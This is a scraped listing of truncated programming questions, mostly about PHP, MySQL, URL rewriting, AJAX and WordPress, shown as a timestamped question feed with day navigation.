Robert BrugueraI'm trying to access a record from a table in the database to check if exists to select a checkBox. Here are my codes so far. This is the php code: public function mpiIICheckIfExist($item) { $stmt = mysqli_prepare($this->connection, "SELECT mpiIIId ...

0
Q: url rewriting does not return $_GET

user2506760I've set some rules for url rewritte on my website. Actually I'm on localhost I've set this in .htaccess php_flag output_buffering on Options +FollowSymlinks RewriteEngine On RewriteRule ^p/([^/]*)\.html$ /?p=$1 [L] Actualy url rewrite does works (I adde a base href in the header for css, js...

0
Q: HybridAuth send notifications through AJAX in PHP

Jason LipoI am using HybridAuth to authenticate my social apps through PHP. Using Facebook as an example, I want to send a notification to a user. When HybridAuth connects to Facebook, it needs to go to the website to allow the connection and then it redirects the browser back to the page that it was on. ...

0
Q: SOAP envelope response not determined by client

asim-ishaqI am developing a location web-service in PHP. The wsdl and messaging structure is complete however I am having an issue with Response messages. For some soap clients the result is not displayed. Can someone tell what is the issue with this message? <?xml version="1.0" encoding="UTF-8"?> <soap:E...

0
Q: Handling a lot of user files

denlauI've heard that in Linux, you should keep you directories below 32000 files in one folder. That's why I want to make an upload directory, that's build like this: $x = rand(0,32000); $z = rand(0,32000); $y = rand(0,32000); $f = rand(0,32000); root/uploaddir/$x/$y/$z/$f/{user_id}/ My problem is...

0
Q: Movable Table Row

user2946835I need the rows of an interactive table allowed to be dragged and re-prioritized. Similar to excel's ability to switch column A with column C. There are 3 columns and 11 rows. Column 1 and Row 1 must remain constant. The table has the appropriate sizes, dynamic text area, everything else. I ...

0
Q: java restful server and php: How to do a put request with json object

Robbie VercammenI managed to get a json object from my webservice using cURL in PHP. Now I want to use the PUT method to get the json back to my webservice, but it doesn't seem to work. Here is the put function on the webservice (error-free): @PUT @Path("inserttext") @Consumes("application/json") public void p...

0
Q: Displaying multiple-lined string from Python Script output with PHP

MicahI am currently trying to create a .php file that displays the output of a python file. Here is what I have so far (that semi works). test.php <?php echo "Results from test.py..."; echo "</br>"; $output = exec('python wordgame.py cat dog'); echo $output; ;?> Here is what test...

0
Q: file get contents http error (php)

user2950514I am looping through a text file and getting id's that need to be appended to the end of a url . The looping is working correctly and I am getting the id's back correctly. I form the url in a variable with the id from the text file, print the url out, and it looks perfect. If I open up the url on...

0
Q: JQuery not repsonding to HTML Tree View code via AJAX

Rakesh kumarThis Line Does not work when I click a Node of Tree View For Expanding/ Collapsing $(function () { $("#tree").treeview({ collapsed: true, animated: "fast", control: "#sidetreecontrol", prerendered: true, persist: ...

0
Q: Google App Engine - php friendly urls and $_GET parameters

Fernando BassoSo, in a "regular" web server one can use mod_rewrite and create something like this: <IfModule mod_rewrite.c> RewriteEngine On RewriteRule ^([0-9a-zA-Z-]+)/([0-9a-zA-Z-]+)/([0-9a-zA-Z-]+)$ ?menu=$1&action=$2&title=$3 </IfModule> I tried several different ways to do something in app.ya...

-1
Q: Dynamic navbar (depending on session)

RedaI have in my website a navigation bar with two links : Login and Sign up. How do I proceed to hide these links when the user is logged in. Thanks in advance.

0
Q: Dynamically created grid in PHP/CSS looks wrong only in Android Firefox browser?

ktbird7I am working on a new adoptable dog listing for my rescue's website. I created a listings page that pulls pictures and information from a third party API, and then lists them: http://dallaspetsalive.org/new-adoptables/ The goal is, in a normal browser, the divs with the images and info are floa...

0
Q: On run javascript if session is false

Palm Int SrvI need to redirect a to a page if a session does not exists before loading a java function. Problem is it is preloading as soon as the page loads. any ideas how to get around this please. Her is what i have at the top of the page if (!$_SESSION['A']) { header('location:Newpage.html'); } else { <...

0
Q: PDF flipbook for wordpress

EmanuelI have a question. Does anyone know if there is some addon for wordpress (or at least manual solution) to make pdf (3-4 pages) show as a thumbnail (little image) and on fullscreen it runs like flip book or something. So pages can be flipped? So that user would only need to open pdf and it would p...

0
Q: PayPal REST - Shipping info and transaction ID

kryoHere is a simplified version of my "ExecutePayment" php file: $payment = Payment::get($paymentId, $apicontext); $execution = new PaymentExecution(); $execution->setPayerId($_GET['PayerID']); $payment->execute($execution, $apicontext); var_dump($payment); The payment executes successfully, but ...

0
Q: PHP simple dom parser error handling

AlexandrosI am trying to use php simple dom parser to a bunch of pages but i have a problem with SOME of them. While in 90% of the pages everything working fine, in some urls i cant save the curl output to a string... The url exists of course... curl_setOpt($ch, CURLOPT_POST, FALSE); curl_setopt($ch, CURL...

-2
Q: Check if GET value is not set

Matthias MüllerHow to check if only one specific GET value is not set? I tried: if(!isset($_GET['preis']) AND $_GET['preis']==="0-100-euro") So i just want to echo something if 0-100-euro is not set

1
Q: Ignoring links, checkboxes.. in an editable html field using jquery

saintSorry for the constant question!! I have a table that displays records of data from my database. To make life easier, I have make it editable using jquery so that a user can click right an area an edit right away without redirecting to a different page. A couple of questions.. how can i refine t...

0
Q: asp.net loop through datatable column and write a checkbox for each item

Ap0calyps3I'm brand new to asp.net, with intermediate c# level, and previously wrote a php project. I'm now stuck trying to get a similar effect in as.net. What I'm using: The project is c# ASP.Net Empty web application. I am using visual studio 2010 with sp1. Sql server 2008 r2 This is what I would do i...

 
7:44 PM
-1
Q: How good is Mysql for school online Jurnal?

George GvazavaI am working on an online school jurnal using php and mysql, Teachers must type marks and attandance in everyday. I think it needs huge resource. How good is Mysql? Should i use some other database and why? Answers will be appreciated.

0
Q: Using die() to return ajax value in PHP

Flash ThunderAre there any reasons to not to use die($result) to return Ajax request result in PHP? Please note that this is theoretical question, about code semantics. Simple example (of course functions may be much complicated and return different values). JS: <script> function checkLogin(login){ ...

0
Q: Unneccessary PHP helper/wrapper classes?

C. OvidiuI recently started to dive into Php classes and the first thing ( I hope not bad ) I did was to build all sorts of helper classes, mostly static, for the basic actions I do in every small-mid project. For example, I have a Session class which has simple set/get/delete/flash methods so I can write...

0
Q: How to integrate Zend Cache StorageFactory in Symfony 2 DI Container?

dextervipHow could I integrate Zend Cache Factory into Symfony 2 so that I could change my cache adapter easily in my config.yml? This is the traditional way to get an adapter using the factory. use Zend\Cache\StorageFactory; $cache = StorageFactory::factory(array( 'adapter' => array( 'name...

0
Q: Post request with parameters and a file on c# compact framework (CF)

Yarden A.ive searched through the web and google but i couldn't find how to POST to a php file in C#, COMPACT FRAMEWORK. I managed to do what i need in C# .net 4.5 framework but couldn't make it work on Compact Framework. Basicly i need to send a file as a file(what i mean is not the file text if its a...

0
Q: Progress bar using Createpng()

Ar Nasdo you have any suggestions how to put a imagepng() into other(bigger) image(png), it could be used for rate bar(like 7 out of 10 points, so image would be 70% yellow), thanks. $rate = 700; $max = 1000; $image = ImageCreateTrueColor($max, 20); $image2 = ImageCreateTrueColor($rate, 20); $sp...

0
Q: I need to change a space into &nbsp; in my php file for the info of the users

user2864959I have been working with php and mysql and I make some kind of data saving. In a <?PHP ?> sentence I insert a <FORM> And in the <INPUT type=text... I put that automatically insert the info taken from the data base as the value= <INPUT type=text name=lastname **value=$lasnam**> But the lastname ha...

0
Q: When is a special lock file or opening file in 'c' mode necessary with PHP flock?

SusamQuoting from the PHP flock documentation: Because flock() requires a file pointer, you may have to use a special lock file to protect access to a file that you intend to truncate by opening it in write mode (with a "w" or "w+" argument to fopen()). Quoting from the PHP fopen documentati...

0
Q: Google Analytics API access data using token?

ShemsEddineI have already set up the OAuth2 in my application and I can include the analytics scope. I can get basic information from google the the authorized user but now I don't know how to access analytics information. Please I need help.

-1
Q: preg_match any character returns false

JazerixI'm trying to match a serial looking like this: ABC-. Using regex Using expresso to test my regular expression, I can see that ABC-1 (ofcourse) matches ABC-2 ABC-! ABC-D ABC-z ... However when I specify preg_match('ABC-.', 'ABC-1') a false boolean is returned changing the regex to ABC...

0
Q: Redirection / htaccess rule to kill off query strings to use wordpress super cache

Sam CollettQuite surprised I could not find the answer to this so posting for others as well as getting some help please. I have a really busy and complicated wordpress site. It uses supercache heavily. Recently I have realised that slow page speed is down to users coming to pages that bypass Supercache, ...

0
Q: White screen on header("Location:...")

Dmitry BorovkovI try to do simple CRUD on PHP. It's ok with add and delete action but on update action it`s just white screen, no redirection. <?php include $_SERVER['DOCUMENT_ROOT'].'/blog/functions.php'; include $_SERVER['DOCUMENT_ROOT'].'/blog/db_config.php'; if (!isset($_POST["title"]) && !isset($_POST["co...

0
Q: wordpress search results separating by categories

user2809327hello I'am trying to separate my search results by category. So far I get category name for every post that my search results show, but I want to make it to show only one time category name before that category posts. I tried to make it with counting, like when category title reach one then that ...

0
Q: Using cPanel security token after authenticating in C#

drewnessAlright I've looked everywhere and I just cant seem to figure this out: After authenticating a cPanel session in C#, I scrape the security token from the url and try to plug it in to API calls, I get various errors (usually access denied or invalid token). One thing to note is that I'm trying t...

0
Q: Deleting a row in a database using PHP and MySQL

Poyraz SagtekinI am trying to deleting a row in my database by clicking a link in my PHP based web-page. All my database connections and table selections work well but while sending the primary key to the page that I am doing the delete operation it seem sthat I cannot send the right information since it is not...

0
Q: Adding HTML string to DOMDocument in PHP

LinkskuI have a DOMDocument object and I want to manipulate text nodes and return them to the object as a HTML string. For example: $dom=new DomDocument(); $dom->loadHTML('<html><body>This is [b]BBC[/b]</body></html>'); // $node is a text node $html=parseBBC($node->nodeValue); $frag=$dom->createDocume...

0
Q: What is the proper php for an elasticsearch suggest query

KevinI am trying to do a suggest term query from my elasticsearch server. The following code is what I am attempting: //curl -X GET http://localhost:9200/{INDEX}/{TYPE}/_suggest?q= ... function suggest($type, $q, $size=5) { $suggestion = array('my-suggestion' => array('text' => $q,'term' =>...

 
00:00 - 20:0020:00 - 00:00

« first day (257 days earlier)      last day (53 days later) »